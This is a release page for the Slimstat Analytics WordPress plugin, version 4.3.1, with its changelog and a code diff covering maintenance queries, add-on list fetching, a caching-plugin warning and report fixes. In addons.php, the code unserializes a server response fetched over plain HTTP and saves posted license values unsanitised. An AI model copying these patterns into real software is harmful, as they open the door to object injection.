Slimstat Analytics - Version 4.3.1

Version Description

  • [Note] A few users have pointed out issues upgrading from versions prior to 4.0, which introduced a new table structure (see changelog). About eight months after we released version 4.0, we removed the upgrade script to streamline our codebase and improve performance. Given all these requests for help, we now decided to restore that code, and extend it to include extra checks and warnings, if something goes wrong. Check Settings > Maintenance > Database to see if you have a notice recommending to remove table leftovers from your database.
  • [New] A warning will alert administrators if a caching plugin has been detected, so that they remember to configure Slimstat Analytics accordingly.
  • [Fix] Some users were getting a 403 Forbidden when trying to access the list of add-ons from our servers.
  • [Fix] A PHP Error was being returned by the new Rankings report.
  • [Fix] The Top Referring Domains export was missing one column.
  • [Fix] A bug in the customizer was preventing the reports from being displayed correctly, under certain circumstances.
  • [Fix] PHP warning being displayed in textareas (settings) under certain circumstances (thank you, Chris)
Download this release

Release Info

Developer coolmann
Plugin Icon 128x128 Slimstat Analytics
Version 4.3.1
Comparing to
See all releases

Code changes from version 4.3 to 4.3.1

admin/config/maintenance.php CHANGED
@@ -10,10 +10,10 @@ wp_slimstat_reports::init();
10
  if (!empty($_REQUEST['action'])){
11
  switch ($_REQUEST['action']){
12
  case 'activate-indexes':
13
- wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_resource_idx(resource(20))");
14
- wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_browser_idx(browser(10))");
15
- wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx(searchterms(15))");
16
- wp_slimstat_admin::show_alert_message(__('Congrats! Slimstat is now optimized for <a href="http://www.youtube.com/watch?v=ygE01sOhzz0" target="_blank">ludicrous speed</a>.','wp-slimstat'), 'wp-ui-highlight below-h2');
17
  break;
18
 
19
  case 'activate-sql-debug-mode':
@@ -24,7 +24,7 @@ if (!empty($_REQUEST['action'])){
24
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_resource_idx");
25
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_browser_idx");
26
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx");
27
- wp_slimstat_admin::show_alert_message(__('Indexing has been disabled. Enjoy the extra database space!','wp-slimstat'), 'wp-ui-highlight below-h2');
28
  break;
29
 
30
  case 'deactivate-sql-debug-mode':
@@ -93,16 +93,16 @@ if (!empty($_REQUEST['action'])){
93
  break;
94
 
95
  case 'truncate-archive':
96
- wp_slimstat::$wpdb->query("DELETE tsa FROM {$GLOBALS['wpdb']->prefix}slim_stats_archive tsa");
97
- wp_slimstat::$wpdb->query("OPTIMIZE TABLE {$GLOBALS['wpdb']->prefix}slim_stats_archive");
98
- wp_slimstat_admin::show_alert_message(__('All the archived records were successfully deleted.','wp-slimstat'), 'wp-ui-highlight below-h2');
99
  break;
100
 
101
  case 'truncate-table':
102
- wp_slimstat::$wpdb->query("DELETE te FROM {$GLOBALS['wpdb']->prefix}slim_events te");
103
- wp_slimstat::$wpdb->query("OPTIMIZE TABLE {$GLOBALS['wpdb']->prefix}slim_events");
104
- wp_slimstat::$wpdb->query("DELETE t1 FROM {$GLOBALS['wpdb']->prefix}slim_stats t1");
105
- wp_slimstat::$wpdb->query("OPTIMIZE TABLE {$GLOBALS['wpdb']->prefix}slim_stats");
106
  wp_slimstat_admin::show_alert_message( __( 'All the records were successfully deleted.', 'wp-slimstat' ), 'wp-ui-highlight below-h2' );
107
  break;
108
 
@@ -112,14 +112,17 @@ if (!empty($_REQUEST['action'])){
112
  }
113
 
114
  // Retrieve some information about the tables used by Slimstat
115
- $check_index = wp_slimstat::$wpdb->get_results("SHOW INDEX FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE Key_name = 'stats_resource_idx'");
116
  $details_wp_slim_tables = array_merge(
117
- wp_slimstat::$wpdb->get_results("SHOW TABLE STATUS LIKE '{$GLOBALS['wpdb']->prefix}slim_stats'", ARRAY_A),
118
- wp_slimstat::$wpdb->get_results("SHOW TABLE STATUS LIKE '{$GLOBALS['wpdb']->prefix}slim_events'", ARRAY_A),
119
- wp_slimstat::$wpdb->get_results("SHOW TABLE STATUS LIKE '{$GLOBALS['wpdb']->prefix}slim_stats_archive'", ARRAY_A)
120
  );
121
  $have_innodb = wp_slimstat::$wpdb->get_results("SHOW VARIABLES LIKE 'have_innodb'", ARRAY_A);
122
  $suffixes = array('bytes', 'KB', 'MB', 'GB', 'TB');
 
 
 
123
  ?>
124
 
125
  <table class="form-table widefat">
@@ -130,7 +133,7 @@ $suffixes = array('bytes', 'KB', 'MB', 'GB', 'TB');
130
  <tr>
131
  <th scope="row"><?php _e('Tracker Status','wp-slimstat') ?></th>
132
  <td>
133
- <?php echo ( !empty( wp_slimstat::$options[ 'last_tracker_error' ] ) && is_array( wp_slimstat::$options[ 'last_tracker_error' ] ) ) ? '<strong>[' . date_i18n( wp_slimstat::$options[ 'date_format' ], wp_slimstat::$options[ 'last_tracker_error' ][ 2 ], true ) . ' ' . date_i18n( wp_slimstat::$options[ 'time_format' ], wp_slimstat::$options[ 'last_tracker_error' ][ 2 ], true ) . '] ' . wp_slimstat::$options[ 'last_tracker_error' ][ 0 ] . ' ' . wp_slimstat::$options[ 'last_tracker_error' ][ 1 ] . '</strong><a class="slimstat-delete-entry slimstat-font-cancel" title="' . htmlentities( __( 'Reset the tracker status', 'wp-slimstat' ), ENT_QUOTES, 'UTF-8' ) . '" href="' . wp_slimstat_admin::$config_url.$current_tab . '&amp;action=reset-tracker-status"></a>' : __( 'No Errors so far', 'wp-slimstat' ); ?>
134
  <span class="description"><?php _e('The information here above is useful to troubleshoot issues with the tracker. It includes both <strong>errors</strong>, which are returned when the tracker could not record a pageview and are indicative of some kind of malfunction, and <strong>notices</strong>, which explain the reason why the most recent pageview was not recorded, based on your settings (filters, blackslists, etc). Please include the message here above when sending a support request.','wp-slimstat') ?></span>
135
  </td>
136
  </tr>
@@ -251,7 +254,7 @@ $suffixes = array('bytes', 'KB', 'MB', 'GB', 'TB');
251
 
252
  </tr>
253
  <tr>
254
- <td colspan="2" class="slimstat-options-section-header"><?php _e('Import and Export','wp-slimstat') ?></td>
255
  </tr>
256
  <tr>
257
  <td colspan="2">
@@ -287,6 +290,13 @@ $suffixes = array('bytes', 'KB', 'MB', 'GB', 'TB');
287
  <td>".$a_table['Data_length_with_suffix'].' ('.number_format($a_table['Rows'], 0).' '.__('records','wp-slimstat').')</td>
288
  </tr>';
289
  }
 
 
290
  ?>
 
 
 
 
 
291
  </tbody>
292
  </table>
10
  if (!empty($_REQUEST['action'])){
11
  switch ($_REQUEST['action']){
12
  case 'activate-indexes':
13
+ wp_slimstat::$wpdb->query( "ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_resource_idx( resource( 20 ) )" );
14
+ wp_slimstat::$wpdb->query( "ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_browser_idx( browser( 10 ) )" );
15
+ wp_slimstat::$wpdb->query( "ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD INDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx( searchterms( 15 ) )" );
16
+ wp_slimstat_admin::show_alert_message( __( 'Congratulations! Slimstat Analytics is now optimized for <a href="http://www.youtube.com/watch?v=ygE01sOhzz0" target="_blank">ludicrous speed</a>.', 'wp-slimstat' ), 'wp-ui-highlight below-h2' );
17
  break;
18
 
19
  case 'activate-sql-debug-mode':
24
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_resource_idx");
25
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_browser_idx");
26
  wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx");
27
+ wp_slimstat_admin::show_alert_message( __( 'Indexing has been disabled. Enjoy the extra database space!', 'wp-slimstat' ), 'wp-ui-highlight below-h2' );
28
  break;
29
 
30
  case 'deactivate-sql-debug-mode':
93
  break;
94
 
95
  case 'truncate-archive':
96
+ wp_slimstat::$wpdb->query( "DELETE tsa FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive tsa" );
97
+ wp_slimstat::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
98
+ wp_slimstat_admin::show_alert_message( __( 'All the archived records were successfully deleted.', 'wp-slimstat' ), 'wp-ui-highlight below-h2' );
99
  break;
100
 
101
  case 'truncate-table':
102
+ wp_slimstat::$wpdb->query( "DELETE te FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_events te" );
103
+ wp_slimstat::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_events" );
104
+ wp_slimstat::$wpdb->query( "DELETE t1 FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats t1" );
105
+ wp_slimstat::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats" );
106
  wp_slimstat_admin::show_alert_message( __( 'All the records were successfully deleted.', 'wp-slimstat' ), 'wp-ui-highlight below-h2' );
107
  break;
108
 
112
  }
113
 
114
  // Retrieve some information about the tables used by Slimstat
115
+ $check_index = wp_slimstat::$wpdb->get_results( "SHOW INDEX FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats WHERE Key_name = '{$GLOBALS[ 'wpdb' ]->prefix}stats_resource_idx'" );
116
  $details_wp_slim_tables = array_merge(
117
+ wp_slimstat::$wpdb->get_results( "SHOW TABLE STATUS LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_stats'", ARRAY_A ),
118
+ wp_slimstat::$wpdb->get_results( "SHOW TABLE STATUS LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_events'", ARRAY_A ),
119
+ wp_slimstat::$wpdb->get_results( "SHOW TABLE STATUS LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive'", ARRAY_A )
120
  );
121
  $have_innodb = wp_slimstat::$wpdb->get_results("SHOW VARIABLES LIKE 'have_innodb'", ARRAY_A);
122
  $suffixes = array('bytes', 'KB', 'MB', 'GB', 'TB');
123
+ $slim_stats_4_exists = wp_slimstat::$wpdb->get_col( "SHOW TABLES LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_stats_4'", 0 );
124
+ $slim_stats_3_exists = wp_slimstat::$wpdb->get_col( "SHOW TABLES LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_stats_3'", 0 );
125
+ $slim_browsers_exists =wp_slimstat::$wpdb->get_col( "SHOW TABLES LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_browsers'", 0 );
126
  ?>
127
 
128
  <table class="form-table widefat">
133
  <tr>
134
  <th scope="row"><?php _e('Tracker Status','wp-slimstat') ?></th>
135
  <td>
136
+ <?php echo ( !empty( wp_slimstat::$options[ 'last_tracker_error' ][ 1 ] ) && !empty( wp_slimstat::$options[ 'last_tracker_error' ][ 2 ] ) ) ? '<strong>[' . date_i18n( wp_slimstat::$options[ 'date_format' ], wp_slimstat::$options[ 'last_tracker_error' ][ 2 ], true ) . ' ' . date_i18n( wp_slimstat::$options[ 'time_format' ], wp_slimstat::$options[ 'last_tracker_error' ][ 2 ], true ) . '] ' . wp_slimstat::$options[ 'last_tracker_error' ][ 0 ] . ' ' . wp_slimstat::$options[ 'last_tracker_error' ][ 1 ] . '</strong><a class="slimstat-delete-entry slimstat-font-cancel" title="' . htmlentities( __( 'Reset the tracker status', 'wp-slimstat' ), ENT_QUOTES, 'UTF-8' ) . '" href="' . wp_slimstat_admin::$config_url.$current_tab . '&amp;action=reset-tracker-status"></a>' : __( 'So far so good.', 'wp-slimstat' ); ?>
137
  <span class="description"><?php _e('The information here above is useful to troubleshoot issues with the tracker. It includes both <strong>errors</strong>, which are returned when the tracker could not record a pageview and are indicative of some kind of malfunction, and <strong>notices</strong>, which explain the reason why the most recent pageview was not recorded, based on your settings (filters, blackslists, etc). Please include the message here above when sending a support request.','wp-slimstat') ?></span>
138
  </td>
139
  </tr>
254
 
255
  </tr>
256
  <tr>
257
+ <td colspan="2" class="slimstat-options-section-header"><?php _e('Configuration String','wp-slimstat') ?></td>
258
  </tr>
259
  <tr>
260
  <td colspan="2">
290
  <td>".$a_table['Data_length_with_suffix'].' ('.number_format($a_table['Rows'], 0).' '.__('records','wp-slimstat').')</td>
291
  </tr>';
292
  }
293
+ $i++;
294
+ if ( !empty( $slim_stats_4_exists ) || !empty( $slim_stats_3_exists ) || !empty( $slim_browsers_exists ) ):
295
  ?>
296
+ <tr<?php echo (($i%2==0)?' class="alternate"':'') ?>>
297
+ <th scope="row"><?php _e( 'Old Tables', 'wp-slimstat' ) ?></th>
298
+ <td><?php printf( __( 'It looks like your database was upgraded from a version prior to 4.0. Our upgrade procedure follows a conservative approach, and does not automatically perform any garbage collection. In other words, the old tables, leftovers of the upgrade, are not deleted from the database. This allows our users to easily roll back to a working state in case of problems. However, if everything is working as expected (tracker and reports), you may want to log into phpMyAdmin and remove the following tables, if they exist: %s. When in doubt, do not hesitate to contact us for help.', 'wp-slimstat' ), "<code>{$GLOBALS['wpdb']->prefix}slim_browsers</code>, <code>{$GLOBALS['wpdb']->prefix}slim_content_info</code>, <code>{$GLOBALS['wpdb']->prefix}slim_outbound</code>, <code>{$GLOBALS['wpdb']->prefix}slim_screenres</code>, <code>{$GLOBALS['wpdb']->prefix}slim_stats_3</code>, <code>{$GLOBALS['wpdb']->prefix}slim_stats_4</code>, <code>{$GLOBALS['wpdb']->prefix}slim_stats_archive_3</code>, <code>{$GLOBALS['wpdb']->prefix}slim_stats_archive_4</code>" ) ?></td>
299
+ </tr>
300
+ <?php endif; ?>
301
  </tbody>
302
  </table>
admin/js/slimstat.admin.js CHANGED
@@ -421,6 +421,19 @@ jQuery(function(){
421
  });
422
  });
423
 
 
 
 
 
 
 
 
 
 
 
 
 
 
424
  // Accept terms and conditions
425
  jQuery(document).on('click', '#slimstat-accept-terms', function(e){
426
  e.preventDefault();
421
  });
422
  });
423
 
424
+ // Hide Cache Notice
425
+ jQuery(document).on('click', '#slimstat-hide-caching-notice', function(e){
426
+ e.preventDefault();
427
+ jQuery(this).parents('.wp-ui-notification').slideUp(1000);
428
+ data = {action: 'slimstat_hide_caching_notice', security: jQuery('#meta-box-order-nonce').val()};
429
+ jQuery.ajax({
430
+ url: ajaxurl,
431
+ type: 'post',
432
+ async: true,
433
+ data: data
434
+ });
435
+ });
436
+
437
  // Accept terms and conditions
438
  jQuery(document).on('click', '#slimstat-accept-terms', function(e){
439
  e.preventDefault();
admin/view/addons.php CHANGED
@@ -1,31 +1,34 @@
1
  <?php
2
  // Avoid direct access to this piece of code
3
- if (!function_exists('add_action')) exit(0);
 
 
4
 
5
  // Update license keys, if needed
6
- if (!empty($_POST['licenses'])){
7
- wp_slimstat::$options['addon_licenses'] = $_POST['licenses'];
8
  }
9
 
10
- $response = get_transient('wp_slimstat_addon_list');
11
- if (!empty($_GET['force_refresh']) || false === $response){
12
- $response = wp_remote_get('http://www.wp-slimstat.com/update-checker/', array('headers' => array('referer' => get_site_url())));
13
- if(is_wp_error($response) || $response['response']['code'] != 200){
14
- $error_message = is_wp_error($response)?$response->get_error_message():$response['response']['code'].' '. $response['response']['message'];
15
- echo '<p>'.__('There was an error retrieving the add-ons list from the server. Please try again later. Error Message:','wp-slimstat').' '.$error_message.'</p></div>';
16
- return;
17
- }
18
 
19
- set_transient('wp_slimstat_addon_list', $response, 86400);
 
 
 
 
 
 
 
 
20
  }
21
 
22
  $at_least_one_add_on_active = false;
23
- $list_addons = maybe_unserialize($response['body']);
24
- if (!is_array($list_addons)){
25
- echo '<p>'.__('There was an error decoding the add-ons list from the server. Please try again later.','wp-slimstat').'</p></div>';
26
- return;
27
- }
28
 
 
 
 
29
  ?>
30
 
31
  <div class="wrap slimstat">
@@ -36,6 +39,11 @@ if (!is_array($list_addons)){
36
  echo ' ';
37
  printf(__('This list is refreshed once daily: <a href="%s&amp;force_refresh=true">click here</a> to clear the cache.','wp-slimstat'), $_SERVER['REQUEST_URI']);
38
  }
 
 
 
 
 
39
  ?>
40
  </p>
41
 
1
  <?php
2
  // Avoid direct access to this piece of code
3
+ if ( !function_exists( 'add_action' ) ) {
4
+ exit(0);
5
+ }
6
 
7
  // Update license keys, if needed
8
+ if ( !empty( $_POST[ 'licenses' ] ) ) {
9
+ wp_slimstat::$options[ 'addon_licenses' ] = $_POST[ 'licenses' ];
10
  }
11
 
12
+ $response = get_transient( 'wp_slimstat_addon_list' );
13
+ $error_message = '';
 
 
 
 
 
 
14
 
15
+ if ( !empty( $_GET[ 'force_refresh' ] ) || false === $response ) {
16
+ $response = wp_remote_get( 'http://www.wp-slimstat.com/update-checker/', array( 'headers' => array( 'referer' => get_site_url() ) ) );
17
+ if ( is_wp_error( $response ) || $response[ 'response' ][ 'code' ] != 200 ) {
18
+ $error_message = is_wp_error( $response ) ? $response->get_error_message() : $response[ 'response' ][ 'code' ] . ' ' . $response[ 'response' ][ 'message' ];
19
+ $error_message = sprintf( __( 'There was an error retrieving the add-ons list from the server. Please try again later. Error Message: %s', 'wp-slimstat' ), $error_message );
20
+ }
21
+ else {
22
+ set_transient( 'wp_slimstat_addon_list', $response, 86400 );
23
+ }
24
  }
25
 
26
  $at_least_one_add_on_active = false;
27
+ $list_addons = @unserialize( $response[ 'body' ] );
 
 
 
 
28
 
29
+ if ( !is_array( $list_addons ) ) {
30
+ $error_message = __( 'There was an error decoding the add-ons list from the server. Please try again later.', 'wp-slimstat' );
31
+ }
32
  ?>
33
 
34
  <div class="wrap slimstat">
39
  echo ' ';
40
  printf(__('This list is refreshed once daily: <a href="%s&amp;force_refresh=true">click here</a> to clear the cache.','wp-slimstat'), $_SERVER['REQUEST_URI']);
41
  }
42
+
43
+ if ( !empty( $error_message ) ) {
44
+ wp_slimstat_admin::show_alert_message( $error_message, 'wp-ui-text-notification below-h2' );
45
+ return;
46
+ }
47
  ?>
48
  </p>
49
 
admin/view/index.php CHANGED
@@ -132,7 +132,11 @@
132
  wp_slimstat_admin::show_alert_message( sprintf( __( "Install MaxMind's <a href='%s'>GeoLite DB</a> to determine your visitors' country of origin.", 'wp-slimstat' ), self::$config_url . '6' ) . '<a id="slimstat-hide-geolite-notice" class="slimstat-font-cancel slimstat-float-right" title="Hide this notice" href="#"></a>', 'wp-ui-notification below-h2' );
133
  }
134
 
135
- $filters_html = wp_slimstat_reports::get_filters_html(wp_slimstat_db::$filters_normalized['columns']);
 
 
 
 
136
  if (!empty($filters_html)){
137
  echo "<div id='slimstat-current-filters'>$filters_html</div>";
138
  }
@@ -142,6 +146,10 @@
142
  <form method="get" action=""><input type="hidden" id="meta-box-order-nonce" name="meta-box-order-nonce" value="<?php echo wp_create_nonce('meta-box-order') ?>" /></form><?php
143
 
144
  foreach( wp_slimstat_reports::$reports_info as $a_report_id => $a_report_info ) {
 
 
 
 
145
  wp_slimstat_reports::report_header( $a_report_id );
146
 
147
  // Third party reports can add their own methods via the callback parameter
132
  wp_slimstat_admin::show_alert_message( sprintf( __( "Install MaxMind's <a href='%s'>GeoLite DB</a> to determine your visitors' country of origin.", 'wp-slimstat' ), self::$config_url . '6' ) . '<a id="slimstat-hide-geolite-notice" class="slimstat-font-cancel slimstat-float-right" title="Hide this notice" href="#"></a>', 'wp-ui-notification below-h2' );
133
  }
134
 
135
+ if ( wp_slimstat::$advanced_cache_exists && ( empty( wp_slimstat::$options[ 'no_caching_warning' ] ) || wp_slimstat::$options[ 'no_caching_warning' ] != 'yes' ) && ( empty( wp_slimstat::$options[ 'javascript_mode' ] ) || wp_slimstat::$options[ 'javascript_mode' ] != 'yes' ) ) {
136
+ wp_slimstat_admin::show_alert_message( sprintf( __( "A caching plugin has been detected on your website. Please <a href='%s' target='_blank'>make sure to configure</a> Slimstat Analytics accordingly, to get accurate information.", 'wp-slimstat' ), 'https://slimstat.freshdesk.com/support/solutions/articles/5000528524-i-am-using-w3-total-cache-or-wp-super-cache-hypercache-etc-and-it-looks-like-slimstat-is-not-tra' ) . '<a id="slimstat-hide-caching-notice" class="slimstat-font-cancel slimstat-float-right" title="Hide this notice" href="#"></a>', 'wp-ui-notification below-h2' );
137
+ }
138
+
139
+ $filters_html = wp_slimstat_reports::get_filters_html( wp_slimstat_db::$filters_normalized[ 'columns' ] );
140
  if (!empty($filters_html)){
141
  echo "<div id='slimstat-current-filters'>$filters_html</div>";
142
  }
146
  <form method="get" action=""><input type="hidden" id="meta-box-order-nonce" name="meta-box-order-nonce" value="<?php echo wp_create_nonce('meta-box-order') ?>" /></form><?php
147
 
148
  foreach( wp_slimstat_reports::$reports_info as $a_report_id => $a_report_info ) {
149
+ if ( !is_array( $a_report_info[ 'classes' ] ) ) {
150
+ continue;
151
+ }
152
+
153
  wp_slimstat_reports::report_header( $a_report_id );
154
 
155
  // Third party reports can add their own methods via the callback parameter
admin/view/layout.php CHANGED
@@ -54,6 +54,10 @@
54
  <h2 class="slimstat-options-section-header"><?php echo wp_slimstat_admin::$screens_info[ $a_location_id ][ 'title' ] ?></h2>
55
  <div id="<?php echo $a_location_id ?>-sortables" class="meta-box-sortables"><?php
56
  foreach( $a_location_list as $a_report_id ) {
 
 
 
 
57
  if ( !in_array( $a_report_id, $already_seen ) ) {
58
  $already_seen[] = $a_report_id;
59
  $icon = 'docs';
54
  <h2 class="slimstat-options-section-header"><?php echo wp_slimstat_admin::$screens_info[ $a_location_id ][ 'title' ] ?></h2>
55
  <div id="<?php echo $a_location_id ?>-sortables" class="meta-box-sortables"><?php
56
  foreach( $a_location_list as $a_report_id ) {
57
+ if ( empty( wp_slimstat_reports::$reports_info[ $a_report_id ] ) ) {
58
+ continue;
59
+ }
60
+
61
  if ( !in_array( $a_report_id, $already_seen ) ) {
62
  $already_seen[] = $a_report_id;
63
  $icon = 'docs';
admin/view/right-now.php CHANGED
@@ -116,10 +116,13 @@ else {
116
  }
117
 
118
  // Originating IP Address
119
- $other_ip_address = '';
120
- if (!empty($results[$i]['other_ip'])){
121
  $other_ip_address = "<a class='slimstat-filter-link' href='".wp_slimstat_reports::fs_url('other_ip equals '.$results[$i]['other_ip'])."'>(".__('Originating IP','wp-slimstat').": {$results[$i]['other_ip']})</a>";
122
  }
 
 
 
123
 
124
  // Plugins
125
  $plugins = '';
116
  }
117
 
118
  // Originating IP Address
119
+ $other_ip_address = intval( $results[ $i ][ 'other_ip' ] );
120
+ if ( !empty( $other_ip_address ) ) {
121
  $other_ip_address = "<a class='slimstat-filter-link' href='".wp_slimstat_reports::fs_url('other_ip equals '.$results[$i]['other_ip'])."'>(".__('Originating IP','wp-slimstat').": {$results[$i]['other_ip']})</a>";
122
  }
123
+ else {
124
+ $other_ip_address = '';
125
+ }
126
 
127
  // Plugins
128
  $plugins = '';
admin/view/wp-slimstat-db.php CHANGED
@@ -86,6 +86,7 @@ class wp_slimstat_db {
86
  'language_calculated' => array( __( 'Language', 'wp-slimstat' ), 'varchar' ),
87
  'platform_calculated' => array( __( 'Operating System', 'wp-slimstat' ), 'varchar' ),
88
  'resource_calculated' => array( __( 'Permalink', 'wp-slimstat' ), 'varchar' ),
 
89
  'metric' => array( __( 'Metric', 'wp-slimstat' ), 'varchar' ),
90
  'value' => array( __( 'Value', 'wp-slimstat' ), 'varchar' ),
91
  'tooltip' => array( __( 'Notes', 'wp-slimstat' ), 'varchar' ),
86
  'language_calculated' => array( __( 'Language', 'wp-slimstat' ), 'varchar' ),
87
  'platform_calculated' => array( __( 'Operating System', 'wp-slimstat' ), 'varchar' ),
88
  'resource_calculated' => array( __( 'Permalink', 'wp-slimstat' ), 'varchar' ),
89
+ 'referer_calculated' => array( __( 'Referer', 'wp-slimstat' ), 'varchar' ),
90
  'metric' => array( __( 'Metric', 'wp-slimstat' ), 'varchar' ),
91
  'value' => array( __( 'Value', 'wp-slimstat' ), 'varchar' ),
92
  'tooltip' => array( __( 'Notes', 'wp-slimstat' ), 'varchar' ),
admin/view/wp-slimstat-reports.php CHANGED
@@ -1618,21 +1618,21 @@ class wp_slimstat_reports {
1618
  // Alexa
1619
  $response = @wp_remote_get( 'http://data.alexa.com/data?cli=10&dat=snbamz&url=' . $site_url, $options );
1620
  if ( !is_wp_error( $response ) && isset( $response[ 'response' ][ 'code' ] ) && ( $response[ 'response' ][ 'code' ] == 200 ) && !empty( $response[ 'body' ] ) ) {
1621
- $response = simplexml_load_string( $response[ 'body' ] );
1622
  if ( is_object( $response->SD[ 1 ] ) && is_object( $response->SD[ 1 ]->POPULARITY ) ) {
1623
- $attributes = $response->SD[ 1 ]->POPULARITY->attributes();
1624
- if ( !empty( $attributes ) ) {
1625
- $rankings[ 'alexa_popularity' ] = number_format( floatval( $attributes[ 'TEXT' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1626
  }
1627
 
1628
- $attributes = $response->SD[ 1 ]->REACH->attributes();
1629
- if ( !empty( $attributes ) ) {
1630
- $rankings[ 'alexa_world_rank' ] = number_format( floatval( $attributes[ 'RANK' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1631
  }
1632
 
1633
- $attributes = $response->SD[ 1 ]->COUNTRY->attributes();
1634
- if ( !empty( $attributes ) ) {
1635
- $rankings[ 'alexa_country_rank' ] = number_format( floatval( $attributes[ 'RANK' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1636
  }
1637
  }
1638
  }
@@ -1641,7 +1641,7 @@ class wp_slimstat_reports {
1641
  $options[ 'headers' ][ 'Accept' ] = 'text/xml';
1642
  $response = @wp_remote_get( 'http://api.facebook.com/restserver.php?method=links.getStats&urls=' . $site_url, $options );
1643
  if ( !is_wp_error( $response ) && isset( $response[ 'response' ][ 'code' ] ) && ( $response[ 'response' ][ 'code' ] == 200 ) && !empty( $response[ 'body' ] ) ) {
1644
- $response = simplexml_load_string( $response[ 'body' ] );
1645
  if ( is_object( $response ) && is_object( $response->link_stat ) ) {
1646
  $rankings['facebook_shares'] = number_format( intval( $response->link_stat->share_count ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1647
  $rankings['facebook_clicks'] = number_format( intval( $response->link_stat->click_count ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1618
  // Alexa
1619
  $response = @wp_remote_get( 'http://data.alexa.com/data?cli=10&dat=snbamz&url=' . $site_url, $options );
1620
  if ( !is_wp_error( $response ) && isset( $response[ 'response' ][ 'code' ] ) && ( $response[ 'response' ][ 'code' ] == 200 ) && !empty( $response[ 'body' ] ) ) {
1621
+ $response = @simplexml_load_string( $response[ 'body' ] );
1622
  if ( is_object( $response->SD[ 1 ] ) && is_object( $response->SD[ 1 ]->POPULARITY ) ) {
1623
+ $popularity = $response->SD[ 1 ]->POPULARITY->attributes();
1624
+ if ( !empty( $popularity ) ) {
1625
+ $rankings[ 'alexa_popularity' ] = number_format( floatval( $popularity[ 'TEXT' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1626
  }
1627
 
1628
+ $reach = $response->SD[ 1 ]->REACH->attributes();
1629
+ if ( !empty( $reach ) ) {
1630
+ $rankings[ 'alexa_world_rank' ] = number_format( floatval( $reach[ 'RANK' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1631
  }
1632
 
1633
+ $country = $response->SD[ 1 ]->COUNTRY->attributes();
1634
+ if ( !empty( $country ) ) {
1635
+ $rankings[ 'alexa_country_rank' ] = number_format( floatval( $country[ 'RANK' ] ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1636
  }
1637
  }
1638
  }
1641
  $options[ 'headers' ][ 'Accept' ] = 'text/xml';
1642
  $response = @wp_remote_get( 'http://api.facebook.com/restserver.php?method=links.getStats&urls=' . $site_url, $options );
1643
  if ( !is_wp_error( $response ) && isset( $response[ 'response' ][ 'code' ] ) && ( $response[ 'response' ][ 'code' ] == 200 ) && !empty( $response[ 'body' ] ) ) {
1644
+ $response = @simplexml_load_string( $response[ 'body' ] );
1645
  if ( is_object( $response ) && is_object( $response->link_stat ) ) {
1646
  $rankings['facebook_shares'] = number_format( intval( $response->link_stat->share_count ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
1647
  $rankings['facebook_clicks'] = number_format( intval( $response->link_stat->click_count ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
admin/wp-slimstat-admin.php CHANGED
@@ -11,8 +11,8 @@ class wp_slimstat_admin {
11
  * Init -- Sets things up.
12
  */
13
  public static function init(){
14
- if ( ( wp_slimstat::$options['enable_ads_network'] == 'yes' || wp_slimstat::$options['enable_ads_network'] == 'no' ) ) {
15
